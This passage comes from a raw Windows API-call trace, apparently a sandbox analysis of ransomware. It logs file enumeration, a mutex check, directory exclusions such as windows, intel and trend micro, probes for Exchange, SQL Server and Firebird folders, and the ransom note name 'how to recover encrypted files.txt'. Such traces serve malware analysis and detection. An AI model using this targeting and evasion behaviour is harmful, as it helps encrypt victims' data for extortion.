lpWideCharStr="\\application data\\alpmcxz\\appdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 18 [0046.135] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fr-FR\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fr-fr\\") returned 0x39 [0046.135] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=28, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\system volume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 28 [0046.135] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fr-FR\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fr-fr\\") returned 0x39 [0046.135] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69390, cbMultiByte=10, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\windows\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 10 [0046.135] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fr-FR\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fr-fr\\") returned 0x39 [0046.135] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69390, cbMultiByte=8, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\intel\\s\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 8 [0046.135] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fr-FR\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fr-fr\\") returned 0x39 [0046.135] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69390, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr=":\\nvidia\\\\olume information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 9 [0046.135] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fr-FR\\", cchLength=0x39 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fr-fr\\") returned 0x39 [0046.135] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e5a768, cbMultiByte=13, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="\\trend micro\\me information\\pdata\\roaming\\eft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 13 [0046.135] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fr-FR\\*.*", lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x98159680, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x98159680, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e200 [0046.135] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x98159680, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x98159680, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0046.135] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8311729d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8311729d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8311729d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0046.135] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea88 | out: lpLocalFileTime=0x18ea88) returned 1 [0046.135] FileTimeToDosDateTime (in: lpFileTime=0x18ea88, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0046.135] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0046.136] CharLowerBuffW (in: lpsz="tipresx.dll.mui", cchLength=0xf | out: lpsz="tipresx.dll.mui") returned 0xf [0046.136] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.136] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.136] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.136] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.136] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.136] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.136] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.136] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.136] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.136] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.136] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.136] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.136] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.136] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.136] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0046.136] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0046.136] CharLowerBuffW (in: lpsz=".mui", cchLength=0x4 | out: lpsz=".mui") returned 0x4 [0046.136] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".mui", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".muiShared\\ink\\fr-FR\\tipresx.dll.muir", lpUsedDefaultChar=0x0) returned 4 [0046.136] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0046.136] GlobalLock (hMem=0x440004) returned 0x551178 [0046.136] GlobalHandle (pMem=0x551178) returned 0x440004 [0046.136] GlobalUnlock (hMem=0x440004) returned 0 [0046.136] GlobalLock (hMem=0x440004) returned 0x551178 [0046.136] GlobalLock (hMem=0x44000c) returned 0x553188 [0046.136] GlobalHandle (pMem=0x551178) returned 0x440004 [0046.136] GlobalUnlock (hMem=0x440004) returned 0 [0046.136] GlobalHandle (pMem=0x553188) returned 0x44000c [0046.136] GlobalUnlock (hMem=0x44000c) returned 0 [0046.136] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e61d68, cbMultiByte=3, lpWideCharStr=0x18da98, cchWideChar=2047 | out: lpWideCharStr="*.* SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 3 [0046.137] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fr-FR\\*.*", lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x98159680, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x98159680, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x54e200 [0046.137] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea88 | out: lpLocalFileTime=0x18ea88) returned 1 [0046.137] FileTimeToDosDateTime (in: lpFileTime=0x18ea88, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0046.137] GlobalLock (hMem=0x44000c) returned 0x551178 [0046.137] GlobalHandle (pMem=0x551178) returned 0x44000c [0046.137] GlobalUnlock (hMem=0x44000c) returned 0 [0046.137] GlobalLock (hMem=0x44000c) returned 0x551178 [0046.137] GlobalLock (hMem=0x440004) returned 0x553188 [0046.137] GlobalHandle (pMem=0x551178) returned 0x44000c [0046.137] GlobalUnlock (hMem=0x44000c) returned 0 [0046.137] GlobalHandle (pMem=0x553188) returned 0x440004 [0046.137] GlobalUnlock (hMem=0x440004) returned 0 [0046.137] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0046.137] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7a0866, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x98159680, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x98159680, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0046.137] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0046.137] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0046.137] GlobalLock (hMem=0x440004) returned 0x552180 [0046.137] GlobalHandle (pMem=0x552180) returned 0x440004 [0046.137] GlobalUnlock (hMem=0x440004) returned 0 [0046.137] GlobalLock (hMem=0x440004) returned 0x552180 [0046.137] GlobalLock (hMem=0x44000c) returned 0x554190 [0046.137] GlobalHandle (pMem=0x552180) returned 0x440004 [0046.137] GlobalUnlock (hMem=0x440004) returned 0 [0046.137] GlobalHandle (pMem=0x554190) returned 0x44000c [0046.137] GlobalUnlock (hMem=0x44000c) returned 0 [0046.137] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0046.137] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8311729d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8311729d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8311729d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0046.137] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0046.137] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0046.138] GlobalLock (hMem=0x44000c) returned 0x552180 [0046.138] GlobalHandle (pMem=0x552180) returned 0x44000c [0046.138] GlobalUnlock (hMem=0x44000c) returned 0 [0046.138] GlobalLock (hMem=0x44000c) returned 0x552180 [0046.138] GlobalLock (hMem=0x440004) returned 0x554190 [0046.138] GlobalHandle (pMem=0x552180) returned 0x44000c [0046.138] GlobalUnlock (hMem=0x44000c) returned 0 [0046.138] GlobalHandle (pMem=0x554190) returned 0x440004 [0046.138] GlobalUnlock (hMem=0x440004) returned 0 [0046.138] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0046.138] FindNextFileW (in: hFindFile=0x54e200, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8311729d, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8311729d, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8311729d, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0046.138] GetLastError () returned 0x12 [0046.138] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0046.138] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0046.138] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0046.138] GlobalLock (hMem=0x440004) returned 0x551178 [0046.138] GlobalHandle (pMem=0x551178) returned 0x440004 [0046.138] GlobalUnlock (hMem=0x440004) returned 0 [0046.138] GlobalLock (hMem=0x440004) returned 0x551178 [0046.138] GlobalLock (hMem=0x44000c) returned 0x553188 [0046.138] GlobalHandle (pMem=0x551178) returned 0x440004 [0046.138] GlobalUnlock (hMem=0x440004) returned 0 [0046.138] GlobalHandle (pMem=0x553188) returned 0x44000c [0046.138] GlobalUnlock (hMem=0x44000c) returned 0 [0046.138] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0046.138] GlobalLock (hMem=0x44000c) returned 0x551178 [0046.138] GlobalHandle (pMem=0x551178) returned 0x44000c [0046.138] GlobalUnlock (hMem=0x44000c) returned 0 [0046.138] GlobalLock (hMem=0x44000c) returned 0x551178 [0046.138] GlobalLock (hMem=0x440004) returned 0x553188 [0046.139] GlobalHandle (pMem=0x551178) returned 0x44000c [0046.139] GlobalUnlock (hMem=0x44000c) returned 0 [0046.139] GlobalHandle (pMem=0x553188) returned 0x440004 [0046.139] GlobalUnlock (hMem=0x440004) returned 0 [0046.139] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0046.139] SysReAllocStringLen (in: pbstr=0x18edc4*=0x0, psz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions", len=0x40 | out: pbstr=0x18edc4*="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions") returned 1 [0046.139] GlobalLock (hMem=0x440004) returned 0x551178 [0046.139] GlobalHandle (pMem=0x551178) returned 0x440004 [0046.139] GlobalUnlock (hMem=0x440004) returned 0 [0046.139] GlobalLock (hMem=0x440004) returned 0x551178 [0046.139] GlobalLock (hMem=0x44000c) returned 0x553188 [0046.139] GlobalHandle (pMem=0x551178) returned 0x440004 [0046.139] GlobalUnlock (hMem=0x440004) returned 0 [0046.139] GlobalHandle (pMem=0x553188) returned 0x44000c [0046.139] GlobalUnlock (hMem=0x44000c) returned 0 [0046.139] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=26, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Microsoft\\Exchange Server\\ct Edition\\T?\x18㱴眵㲣眵脒睘") returned 26 [0046.139] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\Microsoft\\Exchange Server", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e692c8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="䱈@⊊R≞R企@\x18㿬Q\x18\x1b")) returned 0xffffffff [0046.147] GetLastError () returned 0x3 [0046.148] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\") returned 0x41 [0046.148] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42920, cbMultiByte=26, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft\\exchange server\\\x1b") returned 26 [0046.149] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=21, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server\\rver\\ct Edition\\T?\x18㱴眵㲣眵脒睘") returned 21 [0046.157] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\Microsoft SQL Server", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e692c8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="뾴R䱠@⇜R企@\x18권Q\x181")) returned 0xffffffff [0046.175] GetLastError () returned 0x2 [0046.175] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\") returned 0x41 [0046.175] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e42920, cbMultiByte=21, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server\\\x18\x15") returned 21 [0046.183] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=9, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Firebird\\ SQL Server\\rver\\ct Edition\\T?\x18㱴眵㲣眵脒睘") returned 9 [0046.183] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\Firebird", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e692c8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="뾴R䱠@셤R企@\x18?T\x18;")) returned 0xffffffff [0046.189] GetLastError () returned 0x2 [0046.189] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\") returned 0x41 [0046.189] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69390, cbMultiByte=9, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="firebird\\") returned 9 [0046.189] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=8, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="MSSQL.1\\\\ SQL Server\\rver\\ct Edition\\T?\x18㱴眵㲣眵脒睘") returned 8 [0046.189] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\MSSQL.1", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e692c8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="뾴R䱠@뻜R企@\x18?T\x18D")) returned 0xffffffff [0046.191] GetLastError () returned 0x2 [0046.191] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\") returned 0x41 [0046.191] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e69390, cbMultiByte=8, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="mssql.1\\ ") returned 8 [0046.191] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=37, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Microsoft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 37 [0046.191] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\Microsoft SQL Server Compact Edition", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e692c8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="뾴R䱠@⇜R企@\x18셤R\x18j")) returned 0xffffffff [0046.192] GetLastError () returned 0x2 [0046.193] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\") returned 0x41 [0046.193] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e05ab0, cbMultiByte=37, lpWideCharStr=0x18da44, cchWideChar=2047 | out: lpWideCharStr="microsoft sql server compact edition\\icrosoft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 37 [0046.193] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1dbe1c8, cbMultiByte=6, lpWideCharStr=0x18da8c, cchWideChar=2047 | out: lpWideCharStr="Adobe\\oft SQL Server Compact Edition\\T?\x18㱴眵㲣眵脒睘") returned 6 [0046.193] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\Adobe", lpFindFileData=0x18e840 | out: lpFindFileData=0x18e840*(dwFileAttributes=0x7758b386, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x500000, ftLastAccessTime.dwLowDateTime=0x553188, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x1e692c8, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x971bf2e2, nFileSizeLow=0x3c12fdee, dwReserved0=0x25ff80c0, dwReserved1=0x555198, cFileName="㪀P\xfdee㰒", cAlternateFileName="뾴R䱠@Q企@\x18?T\x18q")) returned 0xffffffff [0046.197] GetLastError () returned 0x2 [0046.197] CharLowerBuffW (in: lpsz="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\", cchLength=0x41 | out: lpsz="c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\") returned 0x41 [0046.197] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, 